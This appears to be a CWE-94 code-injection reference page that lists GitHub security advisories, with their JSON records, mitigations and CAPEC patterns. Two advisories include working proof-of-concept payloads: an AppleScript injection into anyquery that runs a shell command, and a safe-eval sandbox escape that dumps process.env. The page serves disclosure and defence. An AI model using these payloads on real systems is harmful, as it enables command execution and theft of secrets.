CWE-94
Allowed-with-ReviewImproper Control of Generation of Code ('Code Injection')
Abstraction: Base · Status: Draft
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
8285 vulnerabilities reference this CWE, most recent first.
GHSA-HRGP-PHC6-X2M4
Vulnerability from github – Published: 2022-05-01 07:40 – Updated: 2022-05-01 07:40PHP remote file inclusion vulnerability in admin/index_sitios.php in Azucar CMS 1.3 allows remote attackers to execute arbitrary PHP code via a URL in the _VIEW parameter.
{
"affected": [],
"aliases": [
"CVE-2006-6720"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2006-12-23T11:28:00Z",
"severity": "HIGH"
},
"details": "PHP remote file inclusion vulnerability in admin/index_sitios.php in Azucar CMS 1.3 allows remote attackers to execute arbitrary PHP code via a URL in the _VIEW parameter.",
"id": "GHSA-hrgp-phc6-x2m4",
"modified": "2022-05-01T07:40:43Z",
"published": "2022-05-01T07:40:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2006-6720"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/30935"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/2943"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/23416"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/21638"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2006/5060"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-HRJ8-HJV8-MGWC
Vulnerability from github – Published: 2026-06-08 23:04 – Updated: 2026-06-08 23:04AppleScript/JXA Code Injection via Unescaped URL in macOS Chrome Plugin
| Field | Value |
|---|---|
| Repository | julien040/anyquery |
| Affected version | 0.4.4 (commit 0abd460) |
| Vulnerability | CWE-94 — Improper Control of Generation of Code |
| Severity | High |
Summary
The chrome_tabs plugin (and equivalent Brave/Edge/Safari variants) interpolates a SQL-controlled url value directly into an AppleScript template via fmt.Sprintf(newTabScript, url) at plugins/chrome/tabs.go:141 without any escaping, then passes the result to exec.Command("osascript", "-e", ...). An authenticated anyquery user who can issue SQL INSERT INTO chrome_tabs statements — which requires local CLI access — can break out of the {URL:"..."} property record with a newline-containing payload and inject arbitrary AppleScript statements, including do shell script, achieving OS-level command execution on the macOS host. The same pattern applies to the Update path at tabs.go:169 via the JXA setURL.js script.
Affected Code
plugins/chrome/tabs.go:141 — SQL-supplied url interpolated unescaped into AppleScript template, then executed via osascript -e
func (t *tabsTable) Insert(rows [][]interface{}) error {
for _, row := range rows {
url := "chrome://newtab/"
if rawURL, ok := row[2].(string); ok {
url = rawURL
}
cmd := exec.Command("osascript", "-e", fmt.Sprintf(newTabScript, url))
output, err := cmd.CombinedOutput()
if err != nil {
return fmt.Errorf("can't run osascript: %W (message: %s)\n Script: %s", err, output, fmt.Sprintf(newTabScript, url))
}
}
return nil
}
plugins/chrome/tabs.go:169 — Update path interpolates url into JXA setURL.js template with identical lack of escaping
if url != "" {
cmd := exec.Command("osascript", "-l", "JavaScript", "-e", fmt.Sprintf(setURLScript, pk, url))
output, err := cmd.CombinedOutput()
if err != nil {
return fmt.Errorf("can't run osascript: %W (message: %s)\n Script: %s", err, output, fmt.Sprintf(setURLScript, pk, url))
}
}
SQL INSERT url column (row[2]) flows through tabsTable.Insert → fmt.Sprintf(newTabScript, url) → exec.Command("osascript", "-e", <injected script>) at tabs.go:141.
Proof of Concept
Step 1 — Insert a newline-bearing URL via SQL: the generated AppleScript closes the {URL:"..."} property record and appends an injected do shell script "id" block, which is passed verbatim to osascript -e.
docker build -f Dockerfile -t anyquery-vuln001 .
docker run --rm anyquery-vuln001 'x"}
end tell
do shell script "id"
tell application "Google Chrome"
make new tab with properties {URL:"done'
SQL equivalent: INSERT INTO chrome_tabs (url) VALUES ('<INJECT_URL>')
where INJECT_URL =
x"}
end tell
do shell script "id"
tell application "Google Chrome"
make new tab with properties {URL:"done
[sink:tabs.go:141] Script passed to osascript -e:
tell application "Google Chrome"
make new tab with properties {URL:"x"}
end tell
do shell script "id"
tell application "Google Chrome"
make new tab with properties {URL:"done"} at end of tabs of first window
end tell
[mock-osascript] Received script:
tell application "Google Chrome"
make new tab with properties {URL:"x"}
end tell
do shell script "id"
tell application "Google Chrome"
make new tab with properties {URL:"done"} at end of tabs of first window
end tell
RESULT: PASS — injection payload reached osascript -e verbatim; "do shell script \"id\"" present in generated script (tabs.go:141)
See attached files: Dockerfile, poc/inject_demo.go, poc/go.mod vuln-001.zip
Impact
Any local user authenticated to the anyquery CLI who can run SQL against the chrome_tabs virtual table can achieve arbitrary OS command execution on the macOS host with the privileges of the anyquery process. Because anyquery exposes its SQL interface over an HTTP server (accessible to any user who can reach the endpoint), this can be exploited by any client with INSERT or UPDATE access to the browser-tab plugins, without requiring Chrome credentials or macOS admin rights. The injected AppleScript runs under the user's macOS session, giving access to the file system, keychain prompts, and any application scriptable via Apple Events.
Remediation
Escape double-quote and newline characters in the url value before interpolation, or avoid string templating entirely. Specifically in plugins/chrome/tabs.go:
// Replace fmt.Sprintf(newTabScript, url) with:
safeURL := strings.ReplaceAll(url, `"`, `\"`)
safeURL = strings.ReplaceAll(safeURL, "\n", "")
safeURL = strings.ReplaceAll(safeURL, "\r", "")
cmd := exec.Command("osascript", "-e", fmt.Sprintf(newTabScript, safeURL))
A more robust fix is to pass the URL as an AppleScript variable declared via a -e prefix argument rather than string-interpolating it into the script body, or to use the osascript argv mechanism so the URL never appears inside the script source. Apply the same fix to fmt.Sprintf(setURLScript, pk, url) at tabs.go:169 for the Update path. Validate that the URL conforms to an allowed scheme (https://, http://, chrome://) before passing it to either handler.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/julien040/anyquery/plugins/chrome"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20240826075852-c651df0b8767"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/julien040/anyquery/plugins/brave"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20240826075852-c651df0b8767"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/julien040/anyquery/plugins/edge"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20240826075852-c651df0b8767"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/julien040/anyquery/plugins/safari"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20240826075852-c651df0b8767"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-47252"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-08T23:04:00Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "# AppleScript/JXA Code Injection via Unescaped URL in macOS Chrome Plugin\n\n| Field | Value |\n| ---------------- | ----- |\n| Repository | julien040/anyquery |\n| Affected version | 0.4.4 (commit 0abd460) |\n| Vulnerability | CWE-94 \u2014 Improper Control of Generation of Code |\n| Severity | High |\n\n## Summary\n\nThe `chrome_tabs` plugin (and equivalent Brave/Edge/Safari variants) interpolates a SQL-controlled `url` value directly into an AppleScript template via `fmt.Sprintf(newTabScript, url)` at `plugins/chrome/tabs.go:141` without any escaping, then passes the result to `exec.Command(\"osascript\", \"-e\", ...)`. An authenticated anyquery user who can issue SQL `INSERT INTO chrome_tabs` statements \u2014 which requires local CLI access \u2014 can break out of the `{URL:\"...\"}` property record with a newline-containing payload and inject arbitrary AppleScript statements, including `do shell script`, achieving OS-level command execution on the macOS host. The same pattern applies to the `Update` path at `tabs.go:169` via the JXA `setURL.js` script.\n\n## Affected Code\n\n`plugins/chrome/tabs.go:141` \u2014 SQL-supplied `url` interpolated unescaped into AppleScript template, then executed via `osascript -e`\n\n```go\nfunc (t *tabsTable) Insert(rows [][]interface{}) error {\n\tfor _, row := range rows {\n\t\turl := \"chrome://newtab/\"\n\t\tif rawURL, ok := row[2].(string); ok {\n\t\t\turl = rawURL\n\t\t}\n\n\t\tcmd := exec.Command(\"osascript\", \"-e\", fmt.Sprintf(newTabScript, url))\n\t\toutput, err := cmd.CombinedOutput()\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"can\u0027t run osascript: %W (message: %s)\\n Script: %s\", err, output, fmt.Sprintf(newTabScript, url))\n\t\t}\n\n\t}\n\n\treturn nil\n}\n```\n\n`plugins/chrome/tabs.go:169` \u2014 `Update` path interpolates `url` into JXA `setURL.js` template with identical lack of escaping\n\n```go\n\t\tif url != \"\" {\n\t\t\tcmd := exec.Command(\"osascript\", \"-l\", \"JavaScript\", \"-e\", fmt.Sprintf(setURLScript, pk, url))\n\t\t\toutput, err := cmd.CombinedOutput()\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"can\u0027t run osascript: %W (message: %s)\\n Script: %s\", err, output, fmt.Sprintf(setURLScript, pk, url))\n\t\t\t}\n\t\t}\n```\n\nSQL INSERT `url` column (row[2]) flows through `tabsTable.Insert` \u2192 `fmt.Sprintf(newTabScript, url)` \u2192 `exec.Command(\"osascript\", \"-e\", \u003cinjected script\u003e)` at `tabs.go:141`.\n\n## Proof of Concept\n\nStep 1 \u2014 Insert a newline-bearing URL via SQL: the generated AppleScript closes the `{URL:\"...\"}` property record and appends an injected `do shell script \"id\"` block, which is passed verbatim to `osascript -e`.\n\n```bash\ndocker build -f Dockerfile -t anyquery-vuln001 .\ndocker run --rm anyquery-vuln001 \u0027x\"}\nend tell\ndo shell script \"id\"\ntell application \"Google Chrome\"\n make new tab with properties {URL:\"done\u0027\n```\n\n```text\nSQL equivalent: INSERT INTO chrome_tabs (url) VALUES (\u0027\u003cINJECT_URL\u003e\u0027)\nwhere INJECT_URL =\nx\"}\nend tell\ndo shell script \"id\"\ntell application \"Google Chrome\"\n\tmake new tab with properties {URL:\"done\n```\n\n```text\n[sink:tabs.go:141] Script passed to osascript -e:\ntell application \"Google Chrome\"\n make new tab with properties {URL:\"x\"}\nend tell\ndo shell script \"id\"\ntell application \"Google Chrome\"\n make new tab with properties {URL:\"done\"} at end of tabs of first window\nend tell\n[mock-osascript] Received script:\ntell application \"Google Chrome\"\n make new tab with properties {URL:\"x\"}\nend tell\ndo shell script \"id\"\ntell application \"Google Chrome\"\n make new tab with properties {URL:\"done\"} at end of tabs of first window\nend tell\n\nRESULT: PASS \u2014 injection payload reached osascript -e verbatim; \"do shell script \\\"id\\\"\" present in generated script (tabs.go:141)\n```\n\nSee attached files: Dockerfile, poc/inject_demo.go, poc/go.mod\n[vuln-001.zip](https://github.com/user-attachments/files/27945214/vuln-001.zip)\n\n## Impact\n\nAny local user authenticated to the anyquery CLI who can run SQL against the `chrome_tabs` virtual table can achieve arbitrary OS command execution on the macOS host with the privileges of the anyquery process. Because anyquery exposes its SQL interface over an HTTP server (accessible to any user who can reach the endpoint), this can be exploited by any client with INSERT or UPDATE access to the browser-tab plugins, without requiring Chrome credentials or macOS admin rights. The injected AppleScript runs under the user\u0027s macOS session, giving access to the file system, keychain prompts, and any application scriptable via Apple Events.\n\n## Remediation\n\nEscape double-quote and newline characters in the `url` value before interpolation, or avoid string templating entirely. Specifically in `plugins/chrome/tabs.go`:\n\n```go\n// Replace fmt.Sprintf(newTabScript, url) with:\nsafeURL := strings.ReplaceAll(url, `\"`, `\\\"`)\nsafeURL = strings.ReplaceAll(safeURL, \"\\n\", \"\")\nsafeURL = strings.ReplaceAll(safeURL, \"\\r\", \"\")\ncmd := exec.Command(\"osascript\", \"-e\", fmt.Sprintf(newTabScript, safeURL))\n```\n\nA more robust fix is to pass the URL as an AppleScript variable declared via a `-e` prefix argument rather than string-interpolating it into the script body, or to use the `osascript` `argv` mechanism so the URL never appears inside the script source. Apply the same fix to `fmt.Sprintf(setURLScript, pk, url)` at `tabs.go:169` for the `Update` path. Validate that the URL conforms to an allowed scheme (`https://`, `http://`, `chrome://`) before passing it to either handler.",
"id": "GHSA-hrj8-hjv8-mgwc",
"modified": "2026-06-08T23:04:00Z",
"published": "2026-06-08T23:04:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/julien040/anyquery/security/advisories/GHSA-hrj8-hjv8-mgwc"
},
{
"type": "PACKAGE",
"url": "https://github.com/julien040/anyquery"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Anyquery: AppleScript/JXA Code Injection via Unescaped URL in macOS Chrome Plugin"
}
GHSA-HRMJ-VXFX-2VQ3
Vulnerability from github – Published: 2022-05-14 01:32 – Updated: 2024-10-21 18:30Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2, Windows Vista SP2, and Windows Server 2008 SP2 allow remote attackers to execute arbitrary code via a crafted screensaver in a theme file, aka "Windows Theme File Remote Code Execution Vulnerability."
{
"affected": [],
"aliases": [
"CVE-2013-0810"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2013-09-11T14:03:00Z",
"severity": "HIGH"
},
"details": "Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2, Windows Vista SP2, and Windows Server 2008 SP2 allow remote attackers to execute arbitrary code via a crafted screensaver in a theme file, aka \"Windows Theme File Remote Code Execution Vulnerability.\"",
"id": "GHSA-hrmj-vxfx-2vq3",
"modified": "2024-10-21T18:30:43Z",
"published": "2022-05-14T01:32:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-0810"
},
{
"type": "WEB",
"url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2013/ms13-071"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A18579"
},
{
"type": "WEB",
"url": "http://www.us-cert.gov/ncas/alerts/TA13-253A"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-HRP4-5HX4-FH2V
Vulnerability from github – Published: 2022-05-01 18:27 – Updated: 2022-05-01 18:27Multiple PHP remote file inclusion vulnerabilities in Txx CMS 0.2 allow remote attackers to execute arbitrary PHP code via a URL in the doc_root parameter to (1) addons/plugin.php, (2) addons/sidebar.php, (3) mail/index.php, or (4) mail/mailbox.php in modules/.
{
"affected": [],
"aliases": [
"CVE-2007-4818"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2007-09-11T19:17:00Z",
"severity": "HIGH"
},
"details": "Multiple PHP remote file inclusion vulnerabilities in Txx CMS 0.2 allow remote attackers to execute arbitrary PHP code via a URL in the doc_root parameter to (1) addons/plugin.php, (2) addons/sidebar.php, (3) mail/index.php, or (4) mail/mailbox.php in modules/.",
"id": "GHSA-hrp4-5hx4-fh2v",
"modified": "2022-05-01T18:27:36Z",
"published": "2022-05-01T18:27:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2007-4818"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/36511"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/4381"
},
{
"type": "WEB",
"url": "http://osvdb.org/38390"
},
{
"type": "WEB",
"url": "http://osvdb.org/38391"
},
{
"type": "WEB",
"url": "http://osvdb.org/38392"
},
{
"type": "WEB",
"url": "http://osvdb.org/38393"
},
{
"type": "WEB",
"url": "http://securityreason.com/securityalert/3116"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/478870/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/25597"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-HRPQ-R399-WHGW
Vulnerability from github – Published: 2020-08-25 23:40 – Updated: 2023-09-11 23:01All versions of safe-eval are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to restrict access to the main context through Error objects. This may allow attackers to execute arbitrary code in the system.
Evaluating the payload
(function (){
var ex = new Error
ex.__proto__ = null
ex.stack = {
match: x => {
return x.constructor.constructor("throw process.env")()
}
}
return ex
})()
prints the contents of process.env.
Recommendation
No fix is currently available. Consider using an alternative package until a fix is made available.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "safe-eval"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.4.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-7710"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2020-08-25T21:20:22Z",
"nvd_published_at": "2020-08-21T10:15:00Z",
"severity": "CRITICAL"
},
"details": "All versions of `safe-eval` are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to restrict access to the main context through Error objects. This may allow attackers to execute arbitrary code in the system. \n\nEvaluating the payload \n```js\n(function (){\n var ex = new Error\n ex.__proto__ = null\n ex.stack = {\n match: x =\u003e {\n return x.constructor.constructor(\"throw process.env\")()\n }\n }\n return ex\n})()\n``` \n\nprints the contents of `process.env`.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.",
"id": "GHSA-hrpq-r399-whgw",
"modified": "2023-09-11T23:01:24Z",
"published": "2020-08-25T23:40:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7710"
},
{
"type": "WEB",
"url": "https://github.com/hacksparrow/safe-eval/issues/19"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JS-SAFEEVAL-608076"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/advisories/1322"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Sandbox Breakout / Arbitrary Code Execution in safe-eval"
}
GHSA-HRR5-6MF9-3WXH
Vulnerability from github – Published: 2022-05-24 19:20 – Updated: 2023-12-28 18:30Microsoft Defender Remote Code Execution Vulnerability
{
"affected": [],
"aliases": [
"CVE-2021-42298"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-11-10T01:19:00Z",
"severity": "HIGH"
},
"details": "Microsoft Defender Remote Code Execution Vulnerability",
"id": "GHSA-hrr5-6mf9-3wxh",
"modified": "2023-12-28T18:30:31Z",
"published": "2022-05-24T19:20:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-42298"
},
{
"type": "WEB",
"url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-42298"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-HRV3-VQ6H-XW3F
Vulnerability from github – Published: 2025-08-07 21:31 – Updated: 2025-08-08 21:30FoxCMS <=v1.2.5 is vulnerable to Code Execution in admin/template_file/editFile.html.
{
"affected": [],
"aliases": [
"CVE-2025-50692"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-07T19:15:28Z",
"severity": "CRITICAL"
},
"details": "FoxCMS \u003c=v1.2.5 is vulnerable to Code Execution in admin/template_file/editFile.html.",
"id": "GHSA-hrv3-vq6h-xw3f",
"modified": "2025-08-08T21:30:35Z",
"published": "2025-08-07T21:31:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-50692"
},
{
"type": "WEB",
"url": "https://gist.github.com/cyb3res3c/ceacf7d560d2c8cd5ffd158abf0bfba9"
},
{
"type": "WEB",
"url": "https://reference1.example.com/index.php/admin/template_file/editFile.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-HRX3-365F-6PG5
Vulnerability from github – Published: 2022-05-05 02:48 – Updated: 2022-05-05 02:48The suexec implementation in Parallels Plesk Panel 11.0.9 contains a cgi-wrapper whitelist entry, which allows user-assisted remote attackers to execute arbitrary PHP code via a request containing crafted environment variables.
{
"affected": [],
"aliases": [
"CVE-2013-0132"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2013-04-18T18:55:00Z",
"severity": "MODERATE"
},
"details": "The suexec implementation in Parallels Plesk Panel 11.0.9 contains a cgi-wrapper whitelist entry, which allows user-assisted remote attackers to execute arbitrary PHP code via a request containing crafted environment variables.",
"id": "GHSA-hrx3-365f-6pg5",
"modified": "2022-05-05T02:48:27Z",
"published": "2022-05-05T02:48:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-0132"
},
{
"type": "WEB",
"url": "http://www.kb.cert.org/vuls/id/310500"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-HV33-P49Q-X8Q5
Vulnerability from github – Published: 2023-08-18 12:30 – Updated: 2024-04-04 07:02Hidden functionality vulnerability in LAN-W300N/RS all versions, and LAN-W300N/PR5 all versions allows an unauthenticated attacker to log in to the product's certain management console and execute arbitrary OS commands.
{
"affected": [],
"aliases": [
"CVE-2023-32626"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-08-18T10:15:09Z",
"severity": "CRITICAL"
},
"details": "Hidden functionality vulnerability in LAN-W300N/RS all versions, and LAN-W300N/PR5 all versions allows an unauthenticated attacker to log in to the product\u0027s certain management console and execute arbitrary OS commands.",
"id": "GHSA-hv33-p49q-x8q5",
"modified": "2024-04-04T07:02:43Z",
"published": "2023-08-18T12:30:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-32626"
},
{
"type": "WEB",
"url": "https://jvn.jp/en/vu/JVNVU91630351"
},
{
"type": "WEB",
"url": "https://www.elecom.co.jp/news/security/20230810-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-HV4W-QF5W-5WQC
Vulnerability from github – Published: 2022-05-14 03:24 – Updated: 2025-04-09 03:59manage_proj_page.php in Mantis before 1.1.4 allows remote authenticated users to execute arbitrary code via a sort parameter containing PHP sequences, which are processed by create_function within the multi_sort function in core/utility_api.php.
{
"affected": [],
"aliases": [
"CVE-2008-4687"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-10-22T18:00:00Z",
"severity": "HIGH"
},
"details": "manage_proj_page.php in Mantis before 1.1.4 allows remote authenticated users to execute arbitrary code via a sort parameter containing PHP sequences, which are processed by create_function within the multi_sort function in core/utility_api.php.",
"id": "GHSA-hv4w-qf5w-5wqc",
"modified": "2025-04-09T03:59:49Z",
"published": "2022-05-14T03:24:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-4687"
},
{
"type": "WEB",
"url": "https://bugs.gentoo.org/show_bug.cgi?id=242722"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/45942"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/44611"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/6768"
},
{
"type": "WEB",
"url": "http://mantisbt.svn.sourceforge.net/viewvc/mantisbt/branches/BRANCH_1_1_0/mantisbt/core/utility_api.php?r1=5679\u0026r2=5678\u0026pathrev=5679"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/32314"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/32975"
},
{
"type": "WEB",
"url": "http://securityreason.com/securityalert/4470"
},
{
"type": "WEB",
"url": "http://www.gentoo.org/security/en/glsa/glsa-200812-07.xml"
},
{
"type": "WEB",
"url": "http://www.mantisbt.org/bugs/changelog_page.php"
},
{
"type": "WEB",
"url": "http://www.mantisbt.org/bugs/view.php?id=0009704"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2008/10/19/1"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/31789"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation
Strategy: Refactoring
Refactor your program so that you do not have to dynamically generate code.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-242: Code Injection
An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.